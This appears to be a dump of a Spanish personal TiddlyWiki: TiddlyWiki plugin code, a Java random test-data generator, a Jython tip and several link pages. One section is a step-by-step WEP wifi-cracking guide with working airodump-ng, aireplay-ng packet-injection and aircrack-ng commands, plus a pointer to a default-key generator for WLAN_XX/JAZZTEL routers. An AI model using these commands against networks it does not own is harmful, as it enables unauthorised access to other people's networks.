		} else if (responseText.charAt(0) != '0') 
			alert(responseText);
		if (responseText.charAt(0) != '0')
			status = null;
		callback(status,params,responseText,url,xhr);
	};
	// do httpUpload
	var boundary = "---------------------------"+"AaB03x";	
	var uploadFormName = "UploadPlugin";
	// compose headers data
	var sheader = "";
	sheader += "--" + boundary + "\r\nContent-disposition: form-data; name=\"";
	sheader += uploadFormName +"\"\r\n\r\n";
	sheader += "backupDir="+uploadParams[3] +
				";user=" + uploadParams[4] +
				";password=" + uploadParams[5] +
				";uploaddir=" + uploadParams[2];
	if (bidix.debugMode)
		sheader += ";debug=1";
	sheader += ";;\r\n"; 
	sheader += "\r\n" + "--" + boundary + "\r\n";
	sheader += "Content-disposition: form-data; name=\"userfile\"; filename=\""+uploadParams[1]+"\"\r\n";
	sheader += "Content-Type: text/html;charset=UTF-8" + "\r\n";
	sheader += "Content-Length: " + data.length + "\r\n\r\n";
	// compose trailer data
	var strailer = new String();
	strailer = "\r\n--" + boundary + "--\r\n";
	data = sheader + data + strailer;
	if (bidix.debugMode) alert("about to execute Http - POST on "+uploadParams[0]+"\n with \n"+data.substr(0,500)+ " ... ");
	var r = doHttp("POST",uploadParams[0],data,"multipart/form-data; ;charset=UTF-8; boundary="+boundary,uploadParams[4],uploadParams[5],localCallback,params,null);
	if (typeof r == "string")
		displayMessage(r);
	return r;
};

// same as Saving's updateOriginal but without convertUnicodeToUTF8 calls
bidix.upload.updateOriginal = function(original, posDiv)
{
	if (!posDiv)
		posDiv = locateStoreArea(original);
	if((posDiv[0] == -1) || (posDiv[1] == -1)) {
		alert(config.messages.invalidFileError.format([localPath]));
		return;
	}
	var revised = original.substr(0,posDiv[0] + startSaveArea.length) + "\n" +
				store.allTiddlersAsHtml() + "\n" +
				original.substr(posDiv[1]);
	var newSiteTitle = getPageTitle().htmlEncode();
	revised = revised.replaceChunk("<title"+">","</title"+">"," " + newSiteTitle + " ");
	revised = updateMarkupBlock(revised,"PRE-HEAD","MarkupPreHead");
	revised = updateMarkupBlock(revised,"POST-HEAD","MarkupPostHead");
	revised = updateMarkupBlock(revised,"PRE-BODY","MarkupPreBody");
	revised = updateMarkupBlock(revised,"POST-SCRIPT","MarkupPostBody");
	return revised;
};

//
// UploadLog
// 
// config.options.chkUploadLog :
//		false : no logging
//		true : logging
// config.options.txtUploadLogMaxLine :
//		-1 : no limit
//      0 :  no Log lines but UploadLog is still in place
//		n :  the last n lines are only kept
//		NaN : no limit (-1)

bidix.UploadLog = function() {
	if (!config.options.chkUploadLog) 
		return; // this.tiddler = null
	this.tiddler = store.getTiddler("UploadLog");
	if (!this.tiddler) {
		this.tiddler = new Tiddler();
		this.tiddler.title = "UploadLog";
		this.tiddler.text = "| !date | !user | !location | !storeUrl | !uploadDir | !toFilename | !backupdir | !origin |";
		this.tiddler.created = new Date();
		this.tiddler.modifier = config.options.txtUserName;
		this.tiddler.modified = new Date();
		store.addTiddler(this.tiddler);
	}
	return this;
};

bidix.UploadLog.prototype.addText = function(text) {
	if (!this.tiddler)
		return;
	// retrieve maxLine when we need it
	var maxLine = parseInt(config.options.txtUploadLogMaxLine,10);
	if (isNaN(maxLine))
		maxLine = -1;
	// add text
	if (maxLine != 0) 
		this.tiddler.text = this.tiddler.text + text;
	// Trunck to maxLine
	if (maxLine >= 0) {
		var textArray = this.tiddler.text.split('\n');
		if (textArray.length > maxLine + 1)
			textArray.splice(1,textArray.length-1-maxLine);
			this.tiddler.text = textArray.join('\n');		
	}
	// update tiddler fields
	this.tiddler.modifier = config.options.txtUserName;
	this.tiddler.modified = new Date();
	store.addTiddler(this.tiddler);
	// refresh and notifiy for immediate update
	story.refreshTiddler(this.tiddler.title);
	store.notify(this.tiddler.title, true);
};

bidix.UploadLog.prototype.startUpload = function(storeUrl, toFilename, uploadDir,  backupDir) {
	if (!this.tiddler)
		return;
	var now = new Date();
	var text = "\n| ";
	var filename = bidix.basename(document.location.toString());
	if (!filename) filename = '/';
	text += now.formatString("0DD/0MM/YYYY 0hh:0mm:0ss") +" | ";
	text += config.options.txtUserName + " | ";
	text += "[["+filename+"|"+location + "]] |";
	text += " [[" + bidix.basename(storeUrl) + "|" + storeUrl + "]] | ";
	text += uploadDir + " | ";
	text += "[[" + bidix.basename(toFilename) + " | " +toFilename + "]] | ";
	text += backupDir + " |";
	this.addText(text);
};

bidix.UploadLog.prototype.endUpload = function(status) {
	if (!this.tiddler)
		return;
	this.addText(" "+status+" |");
};

//
// Utilities
// 

bidix.checkPlugin = function(plugin, major, minor, revision) {
	var ext = version.extensions[plugin];
	if (!
		(ext  && 
			((ext.major > major) || 
			((ext.major == major) && (ext.minor > minor))  ||
			((ext.major == major) && (ext.minor == minor) && (ext.revision >= revision))))) {
			// write error in PluginManager
			if (pluginInfo)
				pluginInfo.log.push("Requires " + plugin + " " + major + "." + minor + "." + revision);
			eval(plugin); // generate an error : "Error: ReferenceError: xxxx is not defined"
	}
};

bidix.dirname = function(filePath) {
	if (!filePath) 
		return;
	var lastpos;
	if ((lastpos = filePath.lastIndexOf("/")) != -1) {
		return filePath.substring(0, lastpos);
	} else {
		return filePath.substring(0, filePath.lastIndexOf("\\"));
	}
};

bidix.basename = function(filePath) {
	if (!filePath) 
		return;
	var lastpos;
	if ((lastpos = filePath.lastIndexOf("#")) != -1) 
		filePath = filePath.substring(0, lastpos);
	if ((lastpos = filePath.lastIndexOf("/")) != -1) {
		return filePath.substring(lastpos + 1);
	} else
		return filePath.substring(filePath.lastIndexOf("\\")+1);
};

bidix.initOption = function(name,value) {
	if (!config.options[name])
		config.options[name] = value;
};

//
// Initializations
//

// require PasswordOptionPlugin 1.0.1 or better
bidix.checkPlugin("PasswordOptionPlugin", 1, 0, 1);

// styleSheet
setStylesheet('.txtUploadStoreUrl, .txtUploadBackupDir, .txtUploadDir {width: 22em;}',"uploadPluginStyles");

//optionsDesc
merge(config.optionsDesc,{
	txtUploadStoreUrl: "Url of the UploadService script (default: store.php)",
	txtUploadFilename: "Filename of the uploaded file (default: in index.html)",
	txtUploadDir: "Relative Directory where to store the file (default: . (downloadService directory))",
	txtUploadBackupDir: "Relative Directory where to backup the file. If empty no backup. (default: ''(empty))",
	txtUploadUserName: "Upload Username",
	pasUploadPassword: "Upload Password",
	chkUploadLog: "do Logging in UploadLog (default: true)",
	txtUploadLogMaxLine: "Maximum of lines in UploadLog (default: 10)"
});

// Options Initializations
bidix.initOption('txtUploadStoreUrl','');
bidix.initOption('txtUploadFilename','');
bidix.initOption('txtUploadDir','');
bidix.initOption('txtUploadBackupDir','');
bidix.initOption('txtUploadUserName','');
bidix.initOption('pasUploadPassword','');
bidix.initOption('chkUploadLog',true);
bidix.initOption('txtUploadLogMaxLine','10');


// Backstage
merge(config.tasks,{
	uploadOptions: {text: "upload", tooltip: "Change UploadOptions and Upload", content: '<<uploadOptions>>'}
});
config.backstageTasks.push("uploadOptions");


//}}}
!!Usar JAR de java ^^[[<editar>|$1]]^^
Para poder usar archivos JAR de [[Java]] en una ruta que no esté en el {{{CLASS_PATH}}}, hay dos maneras de añadirla.

Una es pasarle el parámetro {{{-Dpython.path=classpath}}} al ejecutable.

Otra es añadir la ruta completa a cada fichero {{{.jar }}} al array {{{sys.path}}}. El siguiente script muestra como hacerlo:
<code python>
def setClassPath():
    libDir = "/path/to/my/jar/files/"
    classPaths = [
        "commons-lang-2.1.jar",
        "com-mycompany-4.9.jar"
    ]
    for classPath in classPaths:
        sys.path.append(libDir + classPath)
</code>

http://sujitpal.blogspot.com/2006/10/using-jython-to-call-java.html
! Introducción
Las pruebas y test de unidad requieren introducir muchos datos ficticios pero consistentes. La siguiente clase reune diversas utilidades para generar aleatoriamente números, ~DNIs, nombres y direcciones

! Código
<code java>
import java.lang.reflect.InvocationTargetException;

import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;

import java.util.Map;

import org.apache.commons.beanutils.BeanUtils;

public class TestUtils {
    public final static String[] NOMBRES_HOMBRE = {"Juan", "Mariano", "Bartolomé", "Eusebio", "Lucas", "Pepe", "Aurelio", "Julián", "Agapito", "Wenceslao"};
    public final static String[] NOMBRES_MUJER = {"Antonia", "María", "Eugenia", "Penélope", "Filomena", "Paca", "María Dolores", "Eulalia", "Herminia", "Canuta"};
    public final static String[] NOMBRES = {"Juan", "Mariano", "Bartolomé", "Eusebio", "Lucas", "Pepe", "Aurelio", "Julián", "Agapito", "Wenceslao", "Antonia", "María", "Eugenia", "Penélope", "Filomena", "Paca", "María Dolores", "Eulalia", "Herminia", "Canuta"};
    public final static String[] APELLIDOS = {"Gomez", "Jimenez", "Sanchez", "Plá", "del Canal", "Martín", "Soriano", "Carretero", "Plana", "Ibañez", "Castañar", "del Castillo", "Llano", "Escobar", "Ruiz"};
    
    public final static String[] NOMBRE_VIA = {"Ancha", "del Palancar", "Zaragoza", "del Pepino", "Falsa", "del Olvido", "del Canal Imperial", "Osca", "de la Feria de Muestras", "Larga", "Alan Mathison Turing", "Ada Byron", "Charles Babbage", "Andrew S. Tanenbaum", "Edsger Dijkstra"};
    public final static String[] TIPO_VIA = {"calle", "callejón", "avenida", "carretera", "plaza"};
    
    public final static String[] LETRAS = {"A", "B", "C", "E", "F", "G", "H"};
    public final static String[] LETRAS_DNI = {"T","R","W","A","G","M","Y","F","P","D","X","B","N","J","Z","S","Q","V","H","L","C","K","E"};
    
    public final static String[] DNI_TERCEROS = {"11111111H", "22222222J", "33333333P"};
    public final static String[] DNI = {"11111111H", "22222222J", "33333333P"};
    
    public final static char[] ALFANUMERICO = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
    
    public final static Character[] BOOLEAN_CHARACTER = {new Character('S'), new Character('N')};
    
    public final static String[] TEXTO = {
        "Lorem ipsum mel eros cotidieque concludaturque ea. Ei mea doctus accusamus. Eu duo vocibus facilis definiebas. Et eum corpora percipitur efficiendi, ius minim adolescens eloquentiam no, id epicuri legendos pri. In mei affert euismod, vel laudem adversarium ea.",
        "In vim affert putant. At eam impedit dignissim honestatis. Dico omnis deseruisse ius ei, qui et nisl prodesset voluptatibus. An sea utroque gubergren.",
        "Ornatus vivendo nostrum ea sea, vis ei idque dolore, sed ne diam scribentur. Populo omnesque euripidis vim id, cum eu oporteat liberavisse. Ius eu fabulas pertinax laboramus, ea tota vocent adipiscing vel. Qui cu brute vidisse, integre iracundia pri no. Animal propriae cu nam. Nam commodo feugait an, per no vocent debitis.",
        "Ponderum apeirian his cu, tractatos iudicabit assueverit cum cu, sanctus invidunt ne mel. Ius soluta sadipscing conclusionemque ad, vel dictas iriure accommodare ei. Nonummy vivendum ea quo. Duo eu libris ponderum gloriatur, reque everti mediocrem ius ut, ex nemore mentitum nam. Sea accusam phaedrum scribentur ea, at laoreet conclusionemque nam.",
        "Eos in dolorem delectus oportere, everti iisque corrumpit ex pri. Mel ut cibo solum novum, nobis solet facilisis sit in. Wisi efficiantur in eam, gubergren similique eu usu. Ex vel possit maiorum democritum.",
        "Has puto timeam eu, iudico altera fabulas his ne. Te ancillae necessitatibus vim, quod minim verterem ex sea. Convenire sententiae adipiscing ex sea, ius falli equidem splendide ex. Id usu putant inermis epicurei, at wisi voluptua elaboraret usu, at has illud persequeris.",
        "Quo cetero eripuit expetenda an, amet velit putent in qui. Laudem numquam nusquam pri an, id ius legendos adolescens. No his tale quodsi referrentur. Vim altera sensibus quaerendum et, adhuc temporibus conclusionemque mel ea. At vim saperet accusam assentior, debet veritus ne per, ut mel dicam urbanitas. Vix amet quidam recteque te, utroque contentiones nam an, percipit cotidieque referrentur usu ea. Eum et malorum noluisse probatus, est ad consul animal.",
        "Nec kasd augue pertinax te. Eos ornatus alienum accommodare te, an causae vituperata his. Ut pri detracto lucilius partiendo. Ad suas imperdiet pro. Elit principes voluptaria ea sed, errem intellegat percipitur vim ei. Est cu soleat mollis percipit, aliquip mediocrem in cum. Alia invenire comprehensam ne vel, ei pro quaestio maiestatis.",
        "Ius te enim saperet consequat. Eos dicam accusamus adipiscing ut, eu nec eripuit epicuri, sit sale populo consulatu id. Aperiam evertitur scriptorem nam ad. Inani commodo vulputate pro no, et qui veritus sapientem rationibus. Vim affert impedit ea, te ignota argumentum cum, ne equidem perfecto sit. Rebum constituto ut eum.",
        "Homero graecis patrioque ex cum, his ne eirmod dolores singulis, ius paulo aperiri no. Per brute dolore neglegentur te, in virtute similique mea, dicunt iuvaret quaestio est ad. Pri sint oratio mucius in. Te ocurreret maluisset appellantur sea, ius persius gloriatur ex. Phaedrum reprimique vis in, in detraxit assentior per.",
        "Paternoster conferentias duo in, language promotores publication del lo. Comprende incorporate uso tu, uso le unic denomination. Web tote auxiliar o, per romanic integre essentialmente ha, del tentation independente il. O con union involvite. Libera americas per un.",
        "Ma celo contos sed. Tu uno scientia auxiliary, le uno vista contos. Le con usos svedese grammatica, qualcunque hereditage nos le. Web tamben origine promotores un. In vide giuseppe distinguer per.",
        "Unic medical il nos. Sia lo appellate traduction linguistic, non il pote union synonymo. Con un movimento instruction, asia lista europee lo pan. Secundo appellate que ma. Maximo libere se sia, del libro sanctificate interlinguistica es, con il ille specimen tentation.",
        "Sed e vide summario. Anque principalmente un nos. Nos major hodie language il. Un duo origine summario, sed duce magazines tu.",
        "Se sed inter computator, europa europeo demonstrate uno es. Nos lo denominator independente, nos instituto primarimente se. Inter magazines preparation in qui, se vide texto regula duo. Uso summario millennios le, moderne capital anglo-romanic le non. Non un rapide romanic original, il debitas sanctificate qui.",
        "Nos al pote parola specimen. Uso appellate independente e. Technic linguage sia es. Su existe movimento web, e que altere original. Il vostre contos del, nos e scientia summarios vocabulario. Intermediari immediatemente que e. Al capital debitas hereditage uso, duo o origine scriber promotores.",
        "Inviar summario americas qui es, al qui sine post presenta. Lo inter origine non, del es union publicate comprende, terra vostre connectiones ma con. Unic union vices del le. De web libera scientific, e per summario resultato incorporate.",
        "Inviar conferentias sia ma. Per signo vocabulos voluntate al, del da membros publicate. Servi latino web ha, e servi mundial programma sia, non multo mundial ma. Parola instruction simplificate e uno, non esser millennios anteriormente se. In technic mundial uso. Como maximo methodicamente da pan, ha language publicava sed.",
        "Es web europee registrate. Esser active westeuropee uno es, abstracte interlingua concretisation da per. Qui ample rapide interlinguistica de, laborava litteratura denominator pro su, excellente independente que ma. Su tote maximo non.",
        "Europeo anglo-romanic uso le, peano africa commun uno un. Lo via subjecto initialmente, complete sanctificate es pan, ultra active religion sia se. Ascoltar incorporate connectiones web su. Sia ha finalmente supervivite, parolas specimen e duo, in iste tempore quotidian non. Sed internet interlingua ma. Web de tote integre language, qui duce prime infra ma.",
        //pangramas
        "El veloz murciélago hindú comía feliz cardillo y kiwi. La cigüeña tocaba el saxofón detrás del palenque de paja.",
        "Fabio me exige, sin tapujos, que añada cerveza al whisky",
        "jovencito emponzoñado de whisky, qué figurota exhibe",
        "Franz jagt im komplett verwahrlosten Taxi quer durch Bayern",
        "Törkylempijä vongahdus",
        "Portez ce whisky au vieux juge blond qui fume",
        "Jackdaws love my big sphinx of quartz",
        "The quick brown fox jumps over the lazy dog",
        "Ma la volpe col suo balzo ha raggiunto il quieto Fido",
        "Gaza frecuens Lybicum duxit Karthago triumphum",
        "Um pequeno jabuti xereta viu dez cegonhas felizes",
        "Zebras caolhas de Java querem mandar fax para gigante em New York",
        "Flygande bäckasiner söka hwila på mjuka tuvor"
    };
    
    
    /**
     * Obtiene un nombre masculino al azar
     * @return
     */
    public static String getNombreH()
    {
        return (String)getRandomFromArray(NOMBRES_HOMBRE);
    }
    
    
    /**
     * Obtiene un nombre femenino al azar
     * @return
     */
    public static String getNombreM()
    {
        return (String)getRandomFromArray(NOMBRES_MUJER);
    }
    
    
    /**
     * Obtiene un nombre masculino o femenino al azar
     * @return
     */
    public static String getNombre()
    {
        return (String)getRandomFromArray(NOMBRES);
    }
    
    
    /**
     * Obtiene un apellido al azar
     * @return
     */
    public static String getApellido()
    {
        return (String)getRandomFromArray(APELLIDOS);
    }
    
    
    /**
     * Obtiene un nombre y apellidos al azar
     * @return
     */
    public static String getNombreCompleto()
    {
        return getNombre()+" "+getApellido()+" "+getApellido();
    }
    
    
    /**
     * Obtiene un nombre de vía al azar
     * @return
     */
    public static String getNombreVia()
    {
        return (String)getRandomFromArray(NOMBRE_VIA);
    }
    
    
    /**
     * Obtiene un tipo de vía al azar
     * @return
     */
    public static String getTipoVia()
    {
        return (String)getRandomFromArray(TIPO_VIA);
    }
    
    
    /**
     * Obtiene un nombre de vía completo. Por ejemplo "calle Ancha" o "avenida Zaragoza"
     * @return
     */
    public static String getNombreViaCompleto()
    {
        return getTipoVia()+" "+getNombreVia();
    }
    
    
    /**
     * Obtiene una letra de portal al azar.
     * @return
     */
    public static String getLetra()
    {
        return (String)getRandomFromArray(LETRAS);
    }
    
    
    /**
     * Obtiene la dirección de un domicilio generada al azar
     * @return
     */
    public static String getDireccion()
    {
        int numero = (int)Math.round(Math.floor(Math.random()*98))+1;
        int piso = (int)Math.round(Math.floor(Math.random()*6))+1;
        String letra = getLetra();
    
        return getNombreViaCompleto()+", "+numero+", "+piso+"º "+letra;
    }
    
    
    /**
     * Obtiene un número de teléfono al azar que empieze por el indicado
     * @param primerDigito
     * @return
     */
    public static String getNumTelefono(int primerDigito)
    {
        StringBuffer num = new StringBuffer(""+primerDigito);
        for (int i = 0; i < 8; i++)
        {
            num.append((int)Math.round(Math.floor(Math.random()*10)));
        }
    
        return num.toString();
    }
    
    
    /**
     * Obtiene un texto al azar
     * @return
     */
    public static String getTexto()
    {
        return (String)getRandomFromArray(TEXTO);
    }
    
    
    /**
     * Obtiene un texto al azar de la longitud indicada
     * @return
     */
    public static String getTexto(int longitud)
    {
        StringBuffer aux = new StringBuffer(((String)getRandomFromArray(TEXTO)));
        while (aux.length() < longitud) {
            aux.append(" "+getRandomFromArray(TEXTO));
        }
    
        return aux.substring(0, longitud-1);
    }
    
    
    public static String getCodigoAlfanumerico(int longitud)
    {
        StringBuffer aux = new StringBuffer(longitud);
        for (int i = 0; i < longitud; i++) {
            aux.append(getRandomAlfanumerico());
        }
    
        return aux.toString().substring(0, longitud-1);
    }
    
    
    /**
     * Obtiene un objeto en una posición al azar dentro de un array
     * @param array
     * @return
     */
    public static Object getRandomFromArray(Object[] array)
    {
        int index = (int)Math.round(Math.floor(Math.random()*array.length));
    
        return array[index];
    }
    
    
    /**
     * Obtiene un número aleatorio entre los indicados
     * @param min Mínimo
     * @param max Máximo
     * @return
     */
    public static long getRandomNumber(long min, long max)
    {
        return Math.round(Math.floor(Math.random()*(max - min)+min));
    }
    
    
    /**
     * Obtiene un caracter alfanumerico
     * @return
     */
    public static long getRandomAlfanumerico()
    {
        int index = (int)getRandomNumber(0, ALFANUMERICO.length-1);
        return ALFANUMERICO[index];
    }
    
    
    public static String getLetraNIF(long dni){
        return LETRAS_DNI[(int)(dni % 23)];
    }
    
    
    public static String getNIF(){
        long n = getRandomNumber(1000000, 99999999);
        return n+getLetraNIF(n);
    }
    
    
    public static String getCIA(){
        long n = getRandomNumber(100000000, 999999999);
        return "AR"+n+getLetraNIF(n);
    }
    
    
    public static void fillBean(Object bean) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
        Map hm = (BeanUtils.describe(bean));
        
        HashMap newVal = new HashMap();
        
        for (Object key: hm.keySet()){
            Object value = hm.get(key);
            
            newVal.put(key, value);
            
            if (value instanceof Long){
                newVal.put(key, getRandomNumber(-999999999L,999999999L));
            }else if(value instanceof Integer){
                newVal.put(key, new Long(getRandomNumber(-9999,9999)).longValue());
            }else if(value instanceof Double){
                newVal.put(key, Math.random()*999999999L);
            }else if(value instanceof Float){
                newVal.put(key, new Double(Math.random()*9999999999L).floatValue());
            }else if(value instanceof Date){
                newVal.put(key, new Date());
            }else if(value instanceof String){
                String s = (String)value;
                s = s.toLowerCase();
                
                if (s.contains("nom")){
                    newVal.put(key, getNombre());
                }else if(s.contains("ape")){
                    newVal.put(key, getApellido());
                }else if(s.contains("dni") || s.contains("nif")){
                    newVal.put(key, getNIF());
                }else if(s.contains("cia")){
                    newVal.put(key, getNIF());
                }else if(s.contains("obs")){
                     newVal.put(key, getTexto());
                }else if(s.contains("tlf") || s.contains("tele")){
                     newVal.put(key, getNumTelefono(9));
                }else if(s.contains("domi") || s.contains("direc")){
                     newVal.put(key, getDireccion());
                }else{
                    newVal.put(key, getCodigoAlfanumerico(10));
                }
            }
        }
        
        BeanUtils.populate(bean, newVal);
    }
}
</code>
<!--{{{-->
<div class='toolbar' macro='toolbar [[ToolbarCommands::ViewToolbar]]'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
<div class='tagging' macro='tagging'></div>
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<!--}}}-->
!Descripción
<part descripcion>
Proyecto de bot hecho en [[Python]]
</part>
!Enlaces
<part enlaces>
* ''General:''
** Página del proyecto en Assembla: https://www.assembla.com/spaces/virtualruben
** SVN en Assembla: http://svn.assembla.com/svn/virtualruben
** Exploración del SVN: http://www.assembla.com//code/virtualruben/subversion/nodes
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
La visión por computador es el análisis y reconocimiento de imágenes y patrones gráficos por parte de un ordenador.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Visi%C3%B3n_por_computadora
* Reconocimiento de objetos: http://en.wikipedia.org/wiki/Object_recognition
* Artículos de David Lowe: http://people.cs.ubc.ca/~lowe/pubs.html
* Introducción a la visión por computador: http://www.cs.cmu.edu/~cil/v-source.html
* Libros de visión por computador y reconocimiento de gráficos: http://homepages.inf.ed.ac.uk/rbf/BOOKS/

!! Libros
* Computer Vision: http://homepages.inf.ed.ac.uk/rbf/BOOKS/BANDB/toc.htm
* Machine Vision: http://homepages.inf.ed.ac.uk/rbf/BOOKS/VERNON/toc.htm
* Machine Perception: http://homepages.inf.ed.ac.uk/rbf/BOOKS/NEVATIA/toc.htm
* Computer Vision: Algorithms and Applications: http://szeliski.org/Book/

!! Librerías
* FastCV (librerías optimizadas para ARM): https://developer.qualcomm.com/develop/mobile-technologies/computer-vision-fastcv
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Alquiler, compra y legislación sobre la vivienda.
</part>
!Enlaces
<part enlaces>
* ''Información general:''
** Diez típicas falacias sobre el suelo y la vivienda: http://habitat.aq.upm.es/boletin/n29/afmar.html
** Comunidad En Alquiler: http://www.enalquiler.com/comunidad-alquiler.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Tipos de cifrado
Los dos tipos más habituales de cifrado en redes wifi son el cifrado [[WEP]] y el [[WPA]].

El cifrado [[WEP]] es el más antiguo y hoy en día se considera obsoleto, pues se han encontrado varias formas de romper el cifrado en un tiempo razonable. No obstante, todavía es el cifrado más extendido, principalmente porque viene activado por defecto en un gran número de routers. Por eso, será este tipo de cifrado sobre el que más técnicas se relatarán.

El cifrado [[WPA]] tiene diversas variantes que utilizan distintos tipos de cifrado (TKIP y AES pricipalmente), y casi todas se consideran suficientemente seguras como para ser rotas sólo por fuerza bruta. Como cualquier caso de rotura de claves por fuerza bruta, la seguridad dependerá de la calidad de la clave. Una clave aleatoria o medianamente compleja no podrá ser rota en un tiempo razonable.

! Herramientas
Listado de las herramientas más útiles para el crackeo (rotura del cifrado) de redes wifi:
* ''Sniffers:'' Los sniffers son los programas que se utilizan para capturar las tramas cifradas de datos. Una vez capturados los datos, podrán ser procesados por otros programas para intentar romper el cifrado.
** Airodump-ng: http://www.aircrack-ng.org/ (parte del paquete aircrack-ng)
** Kismet: http://www.kismetwireless.net/
* ''Crackeadores:'' Su misión es tratar de descifrar las tramas capturadas con los //sniffers//.
** Aircrack-ng: http://www.aircrack-ng.org/ (parte del paquete aircrack-ng)
* ''Distribuciones de Linux:'' Distribuciones de linux orientadas a sniffar y crackear redes wireless
** SliTaz: http://www.slitaz.org/es/ (distribución con las últimas versiones de aircrack-ng)
** WifiSlax: http://www.wifislax.com/ (SLAX modificado y orientado al crackeo wifi)
** BackTrack: http://www.remote-exploit.org/backtrack.html (muy completa)
** Samurai Web Testing: http://samurai.inguardians.com/

! Ejemplo de captura en red sin clientes
En todos los ejemplos siguientes, la tarjeta de red se llamará {{{eth2}}}
# {{multiLine{
Poner la tarjeta en modo monitor
{{{
# iwconfig eth2 mode monitor
}}}
}}}
# {{multiLine{
Buscar redes:
{{{
# airodump-ng eth2
}}}
Otra forma de hacerlo:
{{{
# kismet
}}}
}}} 
# {{multiLine{
Comenzar a snifar una conexión concreta (y dejarlo funcionando):
{{{
# airodump-ng --bssid 00:02:CF:XX:XX:XX -w dump eth2
}}}
}}}
# {{multiLine{
Inyectar paquetes (en otra consola al punto anterior):
{{{
# aireplay-ng --arpreplay -e "WLAN_ZZ" -b  00:02:CF:XX:XX:XX -h 00:0E:35:YY:YY:YY -x 30 eth2
}}}
El parámetro {{{-b}}} indica la MAC del router, y el {{{-h}}} la MAC de nuestra tarjeta wireless. Una vez hecho esto hay que esperar. En la pantalla con el airodump empezarán a aparecer paquetes de datos al cabo de un tiempo.
}}}
# {{multiLine{
Romper la contraseña:
{{{
# aircrack-ng *dump
}}}
Si la red es de tipo {{{WLAN_ZZ}}} ó {{{JAZZTEL_ZZ}}}, se puede utilizar [[este script|Generador contraseñas WLAN_XX y JAZZTEL_XX]] para generar un archivo de contraseñas (llamado {{{keys}}} en el ejemplo), y pasárselo al comando anterior:
{{{
#  aircrack-ng -w keys.txt *dump
}}}
}}}

! Más información:
* Ataque a TKIP: http://elladodelmal.blogspot.com/2009/07/el-ataque-chop-chop-tkip.html
! Introducción
El protocolo WSGI (Web Server Gateway Interface) es un protocolo de interconexión entre aplicaciones y servidores web. Permite que un módulo [[Python]] pueda comunicarse con un servidor para recibir las peticiones y escribir las respuestas.

! Referencias
* Página principal de WSGI: http://wsgi.org/wsgi/Learn_WSGI
* Introducción a WSGI: http://ivory.idyll.org/articles/wsgi-intro/what-is-wsgi.html
* Tutorial WSGI, parte 1: http://www.xml.com/pub/a/2006/09/27/introducing-wsgi-pythons-secret-web-weapon.html
* Tutorial WSGI, parte 2: http://www.xml.com/pub/a/2006/10/04/introducing-wsgi-pythons-secret-web-weapon-part-two.html
* Haz tu propio framework WSGI: http://pythonpaste.org/do-it-yourself-framework.html
!Descripción
<part descripcion>
Todo tipo de componentes listos par incluir en las webs.
</part>
!Enlaces
<part enlaces>
* ''Contadores de tráfico:''
** Feddjit: http://feedjit.com/hpt/botw/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|Name|WhatLinksHerePlugin|
|Source|http://rumkin.com/tools/tiddlywiki/#WhatLinksHerePlugin|
|Version|1.0.0|
|Author|Tyler Akins|
|License|Public Domain|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|Displays a list of pages that link to the current page.  Something like a lightweight version of RelatedTiddlersPlugin.  The links[] data is scanned for all tiddlers that link to the current tiddler.|
!Usage
{{{
<<whatLinksHere txtIfList txtIfNoList>>
}}}
* txtIfList: String to print at the top of the list if there is at least one page that links in to the current one.
* txtIfNoList:  String to print at the top if there are no pages that link to the current tiddler.

!Configuration
Do not list these tiddlers:
{{wideInput{<<option txtWhatLinksHereExclude 40>>}}}

!Examples

This is a live example of what links to this page:
|<<whatLinksHere "List of pages that link to me: <br>" "Sorry, nobody links to me.">>|
I like to put it in my ViewTemplate.  Replace the line that says
{{{
<div class='tagged' macro='tags'></div>
}}}
with this
{{{
<div class='tagged'><div macro='tags'></div><div macro='whatLinksHere "<br>What Links Here: <br> "'></div></div>
}}}

!Installation
# Import the WhatLinksHerePlugin tiddler.
# Modify a tiddler or template to use the whatLinksHere macro.  See above for a sample modification to ViewTemplate

!Revision History
* 1.0.0 (2007-09-30)
** Initial version.

!Credits
The RelatedTiddlersPlugin by Eric L. Shulman was the base for this one.  Even though I didn't use 95% of the code, I did use it for inspiration.

!Code
***/
//{{{
version.extensions.WhatLinksHerePlugin={major: 1, minor: 0, revision: 0, date: new Date(2007,9,30)};

// initialize 'autozoom' and 'exclude' tree options (defaults are not to zoom, and to follow all links)
if (config.options.txtWhatLinksHereExclude===undefined)
	config.options.txtWhatLinksHereExclude='GettingStarted DefaultTiddlers tabTimeline';
if (config.optionsDesc)
	config.optionsDesc.txtWhatLinksHereExclude = "Space or double-bracket separated list of tiddlers to not show"

config.macros.whatLinksHere={
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		var span = createTiddlyElement(place, "span");
		var excludes = config.options.txtWhatLinksHereExclude.readBracketedList();
		var results = [];
		var tid = story.findContainingTiddler(place);
		var root = "";
		var out = ""
		if (tid) {
			root=tid.getAttribute("tiddler");
		}

